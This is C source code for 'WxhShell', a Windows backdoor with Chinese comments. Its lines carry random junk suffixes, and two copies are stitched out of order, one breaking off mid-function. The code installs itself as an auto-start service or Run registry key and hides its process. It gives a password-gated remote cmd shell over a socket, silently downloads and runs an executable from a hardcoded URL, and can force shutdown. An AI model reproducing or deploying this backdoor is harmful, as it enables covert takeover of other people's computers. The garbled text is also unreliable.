    ExitThread(0); >I8R[@  
    } ?^2(|t9KU  
    break; n'1pNL:  
    } 28LjQ!  
  // 关机 <y\>[7Y  
  case 'd': { L$l'wz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G*mk 19Z  
    if(Boot(SHUTDOWN)) {Aj}s3v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %ztCcgu*  
    else { JpD<2Mz_|V  
    closesocket(wsh); lz faW-nu  
    ExitThread(0); zOCru2/  
    } -JaC~v(0  
    break; tV@!jaj\  
    } Cz+>S3v M  
  // 获取shell C* b!E:  
  case 's': { zy8W8h(?  
    CmdShell(wsh); <:2El9l!  
    closesocket(wsh); eL#pS=  
    ExitThread(0); }9aYU;9D  
    break; y!."FoQ  
  } %rzC+=*;  
  // 退出 7$a,pNDw  
  case 'x': { 65\'(99y U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *rK}Ai  
    CloseIt(wsh); w8kp6_i'  
    break; 7\rz*  
    } N{tNe-5  
  // 离开 pz6fL=Xd  
  case 'q': { My76]\Psh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n87B[R  
    closesocket(wsh); x;99[C!$  
    WSACleanup(); +S5"4<  
    exit(1); \d2Ku10v[  
    break; ; ob>$ _  
        } *ELbz}Q  
  } C3u/8Mrt7  
  } )Pakb!0H@t  
H@qA X  
  // 提示信息 b/Z=FS2T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t`o-HWfS.  
} xD,BlDV  
  } "b8<C>wY  
z^T/kK3I  
  return; :&HrOdz  
} >93vMk~hU  
&{]zL  
// shell模块句柄 `6)GjZh^  
int CmdShell(SOCKET sock) >_jT.d  
{ h<f_Eo z-a  
STARTUPINFO si; t4/d1qW0  
ZeroMemory(&si,sizeof(si)); A7 qyv0F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ']WS@MbJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u K6R+a  
PROCESS_INFORMATION ProcessInfo; MxD,xpf  
char cmdline[]="cmd"; S4aN7.'Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ p$f)'  
  return 0; $d3al%Uo  
} ]wMd!.lm-  
PxNp'PZr9  
// 自身启动模式 __fa,kK{?  
int StartFromService(void) =J&vr  
{ 'X d_8.  
typedef struct s {p-cV  
{ W,9. z%  
  DWORD ExitStatus; SMY,bU'a  
  DWORD PebBaseAddress; oDogM`T`  
  DWORD AffinityMask; {`2! 3= "  
  DWORD BasePriority; T!0o(Pp<  
  ULONG UniqueProcessId; rkugV&BhV  
  ULONG InheritedFromUniqueProcessId; )y4bb^;z  
}   PROCESS_BASIC_INFORMATION; ON.C%-T-  
5R\{&  
PROCNTQSIP NtQueryInformationProcess; "j;"\i0  
b R> G%*a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @E %:ALJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T"xq^h1\  
*pK bMG#  
  HANDLE             hProcess; `U?" {;j {  
  PROCESS_BASIC_INFORMATION pbi; n!z7N3Ak>  
d]{wZ#x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  S {oW  
  if(NULL == hInst ) return 0; B9^ @d  
|T\`wcP`q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r"sK@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C62:G+W&o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?f f!(U  
4r&DW'  
  if (!NtQueryInformationProcess) return 0; e&sZ]{uD  
:,Z'/e0&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >-J%=P  
  if(!hProcess) return 0; _;L%? -2c  
}Q&zYC]d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h\| ~Q.kG  
^YG'p?r.s  
  CloseHandle(hProcess); (k/[/`3ST  
U l8G R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #JMww  
if(hProcess==NULL) return 0;  kDbDG,O  
P'%#B&LZo  
HMODULE hMod; dO]N&'P7  
char procName[255]; R+{QZ'K.qg  
unsigned long cbNeeded; 1W3+ng  
Wi7!J[ B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~Cc%!4f'  
OH.^m6Z  
  CloseHandle(hProcess); 9 Rl-Jz8g  
B=14 hY@`  
if(strstr(procName,"services")) return 1; // 以服务启动 T'_#Dwmj*  
=h5&:?X  
  return 0; // 注册表启动 g~E N3~  
} 7X 4/6]*  
s8BfOl-  
// 主模块 &CBW>*B  
int StartWxhshell(LPSTR lpCmdLine) >f+qImH  
{ NZT2ni4  
  SOCKET wsl; WV5z~[  
BOOL val=TRUE; #J=^CE  
  int port=0; v~E\u  
  struct sockaddr_in door; vd<r}3i*  
U}f"a!  
  if(wscfg.ws_autoins) Install(); DBTeV-G9~R  
OM,Dy&Y  
port=atoi(lpCmdLine); h0**[LDH  
*rKj%Me  
if(port<=0) port=wscfg.ws_port; <"/b 5kc  
QguRU|y  
  WSADATA data; 7`eg;s^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 03N|@Tu  
, e^&,5b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *<r\:g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P+ ejyl,  
  door.sin_family = AF_INET; #h=pU/R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WO;2=[#O;  
  door.sin_port = htons(port); lU?8<X  
/Ne;Kdp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $ljzw@k  
closesocket(wsl); Nm {|  
return 1; ]bcAbCZ@  
} 7Eb | AR  
!O )je>A  
  if(listen(wsl,2) == INVALID_SOCKET) { r? 9D/|`  
closesocket(wsl); lZ,w#sqbY  
return 1; 7QSr C/e  
} ,:[\h\5m  
  Wxhshell(wsl); IKo,P$ PE  
  WSACleanup(); hW<TP'Zm*  
w-{a>ZU0  
return 0; =;L44.,g  
,I|3.4z  
} bi{G :xt  
'kuLkM,  
// 以NT服务方式启动 o?,c#g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F TgqE@  
{ $sILCn  
DWORD   status = 0; k'6x_ G  
  DWORD   specificError = 0xfffffff; x*'2%3C~  
N1D{ %  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !)r1zSY"g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pNFVa<D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =Ju%3ptH0  
  serviceStatus.dwWin32ExitCode     = 0; 5,_DM  
  serviceStatus.dwServiceSpecificExitCode = 0; R6m6bsZ`  
  serviceStatus.dwCheckPoint       = 0; "!S7D >2y#  
  serviceStatus.dwWaitHint       = 0; %+pF4f8]  
_^ZBSx09)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5ho!}K  
  if (hServiceStatusHandle==0) return; c)`=wDi  
,7:? Du}  
status = GetLastError(); F[q)ME+`)  
  if (status!=NO_ERROR) N({0"7  
{ BbIg]E/G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MA1y@  
    serviceStatus.dwCheckPoint       = 0; sq rY<@%  
    serviceStatus.dwWaitHint       = 0; 1[] 9EJ  
    serviceStatus.dwWin32ExitCode     = status; QnJd}(yN  
    serviceStatus.dwServiceSpecificExitCode = specificError; #fVk;]u`[3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hb&C;lk  
    return; %\f<N1~*  
  } n@=D,'cn  
XpH d"(*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dBm!`;r4  
  serviceStatus.dwCheckPoint       = 0; aN5"[&  
  serviceStatus.dwWaitHint       = 0; oUd R,;h9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )BeB xo7lv  
} -|DBO0q  
%n{ue9  
// 处理NT服务事件,比如:启动、停止 W0+m A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ooA%/  
{ B<{Yj}..  
switch(fdwControl) 0/5{v6_rG  
{ d_1uv_P  
case SERVICE_CONTROL_STOP: GIM'H;XG  
  serviceStatus.dwWin32ExitCode = 0; #O1%k;BL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mS?W+jy%  
  serviceStatus.dwCheckPoint   = 0; 9,jFQb(),  
  serviceStatus.dwWaitHint     = 0; ^aI$97Li  
  { 45 B |U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); itmFZZh  
  } wiP )"g.t  
  return; "'3QKeM1  
case SERVICE_CONTROL_PAUSE: ' e:rL.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $!goM~pZ  
  break; ,a34=,  
case SERVICE_CONTROL_CONTINUE: ]G}:cCpd+a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; " ?=$(7uc  
  break; g/+|gHq^  
case SERVICE_CONTROL_INTERROGATE: 1|WrJ-Uf  
  break; z1m-t# v:  
}; 6f*QUw~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F\2<q$Zn+  
} sl_f+h0  
F-=Xbyr3@  
// 标准应用程序主函数 o`M.v[O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9GgXX9K  
{ QB5,Vfoux  
@bIZ0tr4  
// 获取操作系统版本 bLSUF`-z  
OsIsNt=GetOsVer(); {k uC+~R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yn5a4  
;;  ?OS  
  // 从命令行安装 %~I%*=o[  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2l}H=DZV  
Oj1B @QE  
  // 下载执行文件 9j>LU<Z  
if(wscfg.ws_downexe) { /_mU%fl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Aa5,{v _  
  WinExec(wscfg.ws_filenam,SW_HIDE); $O^"O Q_@  
} ~m3Tq.sYrY  
D[0g0>K  
if(!OsIsNt) { |.?$:D&6  
// 如果时win9x,隐藏进程并且设置为注册表启动 MZvxcr{x  
HideProc(); Rm[{^V.Z$  
StartWxhshell(lpCmdLine); 2*@@Bw.XA  
} 5H2Ugk3  
else ],F@.pg  
  if(StartFromService()) ,zOv-pH  
  // 以服务方式启动 S0WKEv@Hn  
  StartServiceCtrlDispatcher(DispatchTable); PouWRGS_  
else 2gJkpf9JN  
  // 普通方式启动 (mgv:<c;BA  
  StartWxhshell(lpCmdLine); QV>hQ]L  
XP(fWRT1  
return 0; \:jJ{bl^A  
} `zOn(6B;U  
:Izdj*HL;A  
GhR%fxe  
AP9>_0=  
=========================================== 1T 8|>2m 3  
"?>hQM1R  
'MQJt2QU9{  
*6wt+twH  
5Ve T8/7Q  
\# _w=gs<i  
" lnnT_[ni.  
zU2Mno  
#include <stdio.h> M)G|K a  
#include <string.h> &~"e["gF=  
#include <windows.h> c JOT{  
#include <winsock2.h> ,HwOMoP7  
#include <winsvc.h> '8c-V aa  
#include <urlmon.h> X< 4f7;]O  
tY- `$U@  
#pragma comment (lib, "Ws2_32.lib") aucG|}B  
#pragma comment (lib, "urlmon.lib") % U|4%P  
[orS-H7^  
#define MAX_USER   100 // 最大客户端连接数 fzr0dcNgM  
#define BUF_SOCK   200 // sock buffer >k8FUf(c  
#define KEY_BUFF   255 // 输入 buffer s >7(S%#N  
H|z:j35\  
#define REBOOT     0   // 重启 /TScYE:$HE  
#define SHUTDOWN   1   // 关机 ^]TYS]C  
LvW7>-  
#define DEF_PORT   5000 // 监听端口 I(va;hG<o  
}{F1Cr   
#define REG_LEN     16   // 注册表键长度 7gQ 2dp  
#define SVC_LEN     80   // NT服务名长度 #\&64  
2}6StmE }  
// 从dll定义API ^q\9HBHT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K?6#jT6#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]O0:0Z\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @i(;}rx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {7^D!lis  
)KKmV6>b  
// wxhshell配置信息 \*\)zj*r  
struct WSCFG { W+BHt{  
  int ws_port;         // 监听端口 Fjw+D1q.  
  char ws_passstr[REG_LEN]; // 口令 Y(R .e7]  
  int ws_autoins;       // 安装标记, 1=yes 0=no !h>aP4ofT  
  char ws_regname[REG_LEN]; // 注册表键名 &6^QFqqW`-  
  char ws_svcname[REG_LEN]; // 服务名 /^':5"=o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %Wa. 2s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _$m1?DZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =-;J2Qlg6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L+Q.y~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c4iGtW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c52S2f7  
1Wb_>`;  
}; h[oI/X  
VH6J @m  
// default Wxhshell configuration jbTsrj"g  
struct WSCFG wscfg={DEF_PORT, wqA7_ -  
    "xuhuanlingzhe", l [ Navw  
    1, /EV _Y|(-  
    "Wxhshell", O_^;wey0}?  
    "Wxhshell", ?U(`x6\:  
            "WxhShell Service", ?btZdnQ))S  
    "Wrsky Windows CmdShell Service", #_'| TT>p#  
    "Please Input Your Password: ", '<Jqp7$dL  
  1, 1(jDBP!8  
  "http://www.wrsky.com/wxhshell.exe", c63yJqiW  
  "Wxhshell.exe" !1xX)XD4y  
    }; M5c~-}Ay  
UJk/Lxv  
// 消息定义模块 -P-&]F5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -P We  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,m1F<Pdts  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Kq;s${ |G  
char *msg_ws_ext="\n\rExit."; lR0WDJv  
char *msg_ws_end="\n\rQuit."; O_^t u?x  
char *msg_ws_boot="\n\rReboot..."; _qsg2e}n  
char *msg_ws_poff="\n\rShutdown..."; ':DLv{R  
char *msg_ws_down="\n\rSave to "; %)sG 34  
s'=w/os  
char *msg_ws_err="\n\rErr!"; r;8X6C  
char *msg_ws_ok="\n\rOK!"; q1,jDJglZ  
XG01g3  
char ExeFile[MAX_PATH]; %OAvhutS  
int nUser = 0; >%c7|\q[R  
HANDLE handles[MAX_USER]; >M^4p   
int OsIsNt; .{4U]a;[  
xH>2$  ;f  
SERVICE_STATUS       serviceStatus; #?fKi$fS;L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |6GDIoZ  
HD153M,  
// 函数声明 Hg 2Rcl  
int Install(void); i2 G.<(3O  
int Uninstall(void); um*!+Q  
int DownloadFile(char *sURL, SOCKET wsh); Q=#N4[W'  
int Boot(int flag); ;lc/FV[/  
void HideProc(void); s}bv o  
int GetOsVer(void); ,O`~ D~$  
int Wxhshell(SOCKET wsl); nP#|JRn=  
void TalkWithClient(void *cs); >WmT M0  
int CmdShell(SOCKET sock); 8 EUc 6  
int StartFromService(void); pvYBhTz0  
int StartWxhshell(LPSTR lpCmdLine); 67A g.f6-  
Z&Xp9"j,@;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WFG`-8_e[I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (X~JTH:e/  
z65Q"A  
// 数据结构和表定义 vY2^*3\<D  
SERVICE_TABLE_ENTRY DispatchTable[] = m.w.h^f$&  
{ y8$I=  
{wscfg.ws_svcname, NTServiceMain}, Sq[LwJ  
{NULL, NULL} 9_xJT^10  
}; h Nx#x  
1s6L]&B  
// 自我安装 XxLauJP K  
int Install(void) Y|~+bKa  
{ D"8?4+  
  char svExeFile[MAX_PATH]; CZw]@2/JuQ  
  HKEY key; `XrF ,  
  strcpy(svExeFile,ExeFile); :EV*8{:aLU  
<CGABlZ  
// 如果是win9x系统,修改注册表设为自启动 zy'cf5k2  
if(!OsIsNt) { JXq l=/%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >$G'=N:=X&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B3'-:  
  RegCloseKey(key); xL$7bw5fY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c|<E~_ .w@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f7?IXDQ>!  
  RegCloseKey(key); >8.o  
  return 0; _:~I(c6   
    } >o )v  
  } dzs(sM=  
} #H.DnW  
else { A^vvw~!d  
T&+y~c[au  
// 如果是NT以上系统,安装为系统服务 36UUt!}p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U5yBU9\G  
if (schSCManager!=0) EGxCNB  
{ b E6bx6=u  
  SC_HANDLE schService = CreateService 'J_`CS  
  ( $d5}OI"g  
  schSCManager, !![HR6"Q  
  wscfg.ws_svcname, ?g9oiOhnG  
  wscfg.ws_svcdisp, pB'{_{8aA  
  SERVICE_ALL_ACCESS, \EW<;xq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qu%}b>  
  SERVICE_AUTO_START, .qS(-7<  
  SERVICE_ERROR_NORMAL, vJ{aBx`VS  
  svExeFile, rmJ`^6V  
  NULL, GUC.t7!  
  NULL, V,&A? Y  
  NULL, qh#?a'  
  NULL, RX?y}BDo0  
  NULL G_S2Q @|Q  
  ); 2Z+:^5  
  if (schService!=0) *9tRh Rc  
  { _&e$?hY  
  CloseServiceHandle(schService); v,d'SR.  
  CloseServiceHandle(schSCManager); :: s k)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <lTLz$QE  
  strcat(svExeFile,wscfg.ws_svcname); #Q@~ TW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i,!tu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kp>fOe'KW  
  RegCloseKey(key); #oJ%i+V  
  return 0; =[LUOOR*]  
    } 8 `}I]  
  } Ru@ { b`  
  CloseServiceHandle(schSCManager); mr>dZ)  
} ffR<G&"n~b  
} z!aU85y  
nrKir  
return 1; }///k]_Sh  
} ){4!  
zKfY0A R  
// 自我卸载 %+@<T<>J<k  
int Uninstall(void) EIF"{,m  
{ 6cX Z3;a  
  HKEY key; s9,Z}]Th  
',]^Qu`a  
if(!OsIsNt) { zg$NrI&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /" @cv{  
  RegDeleteValue(key,wscfg.ws_regname); =F09@C,  
  RegCloseKey(key); }#2I/dn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7V-uQ)*  
  RegDeleteValue(key,wscfg.ws_regname); b}!T!IP}  
  RegCloseKey(key); PO*0jO;%  
  return 0; " TC:O^X  
  } oAgU rl;R  
} I ;F\'P)e  
} s[#_sR`y  
else { &M7AM"9  
v)JS4KS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !q 9PO  
if (schSCManager!=0) RV),E:?  
{ B-h@\y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B^Hh rz!  
  if (schService!=0) xu.TS  
  { ]h'*L`  
  if(DeleteService(schService)!=0) { @3`Pq2<  
  CloseServiceHandle(schService); %xdyG Al:  
  CloseServiceHandle(schSCManager); WHcw5_3#  
  return 0; v;(k7  
  } W1ql[DqE{  
  CloseServiceHandle(schService); bMGXx>x  
  } yH0vESgv  
  CloseServiceHandle(schSCManager); t**MthnW  
} 5%"sv+iO  
} m8Rt>DY  
6|QIzs<Z-X  
return 1; )i<Qg.@MX  
} >[S\NAE>  
$:D\yZ,  
// 从指定url下载文件 >,x``-  
int DownloadFile(char *sURL, SOCKET wsh) WmuYHEU  
{ #9t3<H[  
  HRESULT hr; FiKGB\_]  
char seps[]= "/"; |Q$Dj!!1P  
char *token; bzh:  
char *file; )!Zm*(  
char myURL[MAX_PATH]; {Rq5=/b  
char myFILE[MAX_PATH]; G%>M@nYUE  
|xrnLdng0R  
strcpy(myURL,sURL); \lF-]vz*  
  token=strtok(myURL,seps); |y4j:`@.  
  while(token!=NULL) /L=Y8tDt  
  { as"@E>a  
    file=token; @b{$s  
  token=strtok(NULL,seps); wZt2%+$6m  
  } \hP.Q;"MtO  
2FQTu*p&B  
GetCurrentDirectory(MAX_PATH,myFILE); >aT~ G!y  
strcat(myFILE, "\\"); JZ/T:Hsh4  
strcat(myFILE, file); /%TL{k&m$  
  send(wsh,myFILE,strlen(myFILE),0); iUlSRfrC$#  
send(wsh,"...",3,0); q^6l`JJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8|tnhA]~  
  if(hr==S_OK) JhvT+"~  
return 0;  tk+4noA  
else c]NZG n*  
return 1; 1cD  
JtxitF2  
} ucFfxar"  
=lL)g"x X  
// 系统电源模块 Tr, zV  
int Boot(int flag) 3[<D"0#},  
{ pzb`M'Z?C  
  HANDLE hToken; aVp-Ps|r  
  TOKEN_PRIVILEGES tkp; ZUS06# t}  
m}'!W`<  
  if(OsIsNt) { ppnl bL^*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NtkZ\3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @4$la'XSx  
    tkp.PrivilegeCount = 1; XO}SPf-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rN'}IS@5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \{= {{O  
if(flag==REBOOT) { w{ P l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) av~kF  
  return 0; cXK.^@du  
} p MR4]G  
else { " :V@AT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }brBhe8a  
  return 0; 0B"_St}3D  
} D[` ~=y(  
  } YcW) D  
  else { Z61L;E  
if(flag==REBOOT) { XV1XzG#C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `Dp4Z>| K  
  return 0; f& Vx`oj  
} &U\//   
else { qUk-BG8^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7V&ly{</  
  return 0; luJNdA:t&  
} De<i 8/^=  
} GjbOc   
_po5j;"_O  
return 1; rLA^ &P:  
} L$ZsNs+  
PoD/i@  
// win9x进程隐藏模块 &;U F,  
void HideProc(void) 3|D.r-Q  
{ f{h2>nEj \  
v.c.5@%%o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6E9o*YSk  
  if ( hKernel != NULL ) 5m\)82s  
  { 5>h/LE]"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >J{e_C2ZS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zICrp  
    FreeLibrary(hKernel); zb.sh  
  } S 9;FD3  
Bnw^W _  
return; <DhuY/o  
} 2\CZ"a#[  
]PB95%  
// 获取操作系统版本 S$/SFB$)~W  
int GetOsVer(void) 60l!3o"p!  
{ MHS|gR.c  
  OSVERSIONINFO winfo; dRUmC H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H ahA} Q  
  GetVersionEx(&winfo); ={50>WXE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P>Ru  
  return 1; ;8w CQ  
  else N!<X% Ym  
  return 0; 6\? 2=dNX  
} f;!L\$yKy  
HBA|NV3.  
// 客户端句柄模块 sn+ kFvk}S  
int Wxhshell(SOCKET wsl) n!U1cB{  
{ 6n H'NNS:J  
  SOCKET wsh; w I[Hoi V  
  struct sockaddr_in client; -c#vWuLl  
  DWORD myID; c_Iq!MH  
 ~;uU{TT  
  while(nUser<MAX_USER) B^.:dn  
{ }S{VR(i`J  
  int nSize=sizeof(client); lYU?j|n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); df/7u}>9  
  if(wsh==INVALID_SOCKET) return 1; 5kCXy$"%  
]ClqX;'weJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]'Gz~Z%>F  
if(handles[nUser]==0) rr2^sQ;_  
  closesocket(wsh); [@NW  
else Fe2t[y:8h  
  nUser++;  {IT xHt  
  } f]2;s#cu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f||S?ns_  
~|ha9 1  
  return 0; 1w+)ne_&  
} gFXz:!A  
31N5dIi,  
// 关闭 socket fn8|@)J  
void CloseIt(SOCKET wsh) w8F`RRHEE  
{ 'fZ\uMdTx  
closesocket(wsh); hJ?PV@xy  
nUser--; ^~s!*T)\  
ExitThread(0); H-eHX3c7  
} )U{\c2b  
9 $^b^It  
// 客户端请求句柄 eL [.;_  
void TalkWithClient(void *cs) $)6x3&]P  
{ 7_J0[C!G  
L#fK ,r8  
  SOCKET wsh=(SOCKET)cs; mNJCV8 <  
  char pwd[SVC_LEN]; 6UU<:KH  
  char cmd[KEY_BUFF]; 0JW =RW  
char chr[1]; u.}H)wt  
int i,j; <(1[n pS&+  
hb1eEn  
  while (nUser < MAX_USER) { !1l~'/r  
I(b]V!mj:  
if(wscfg.ws_passstr) { NzS`s,N4/0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uW4.Q_O!H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]$U A5/a  
  //ZeroMemory(pwd,KEY_BUFF); K*M1$@5  
      i=0; UD Pn4q  
  while(i<SVC_LEN) { h r6?9RJY  
W *2P+H%  
  // 设置超时 "YVr/u  
  fd_set FdRead; Y4[oa?G  
  struct timeval TimeOut; "i&9RA! 1  
  FD_ZERO(&FdRead); f[?JLp   
  FD_SET(wsh,&FdRead); @0%[4  
  TimeOut.tv_sec=8; *DQa6,b  
  TimeOut.tv_usec=0; ep{/m-h(!_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xRZ/[1f!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  hRqr  
H`jnChD:M'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B/Ltb^a  
  pwd=chr[0]; s0DT1s&  
  if(chr[0]==0xd || chr[0]==0xa) { i;\n\p1  
  pwd=0; orAr3`AR3  
  break; c7nbHJi  
  } LtV,djk  
  i++; At&kW3(  
    } ,lVQ-qw5  
FJB B@<>:  
  // 如果是非法用户,关闭 socket csV3mzP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); % zO>]f&  
} {: =]J4]  
H;#C NB<e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /h@3R[k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5yjG\ ~  
NHe[,nIV  
while(1) { U#{(*)qr  
WwUHHm<v  
  ZeroMemory(cmd,KEY_BUFF); u1>WG?/`  
eV"Uv3  
      // 自动支持客户端 telnet标准   FM|3'a-z  
  j=0; KGmAnN  
  while(j<KEY_BUFF) { gL`aLg_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /x\~ 5cC  
  cmd[j]=chr[0]; IA$=  
  if(chr[0]==0xa || chr[0]==0xd) { _>_ "cKS  
  cmd[j]=0; [kMWsiZ  
  break; 3E}j*lo  
  } U|8?$/*\  
  j++; |o@U L  
    } #k,.xMJ~  
SAE'y2B*  
  // 下载文件 z'\BZ5riX<  
  if(strstr(cmd,"http://")) { l nJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]l`V#Rd  
  if(DownloadFile(cmd,wsh)) >O0<u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,[3}t%Da  
  else iDdR-T|  
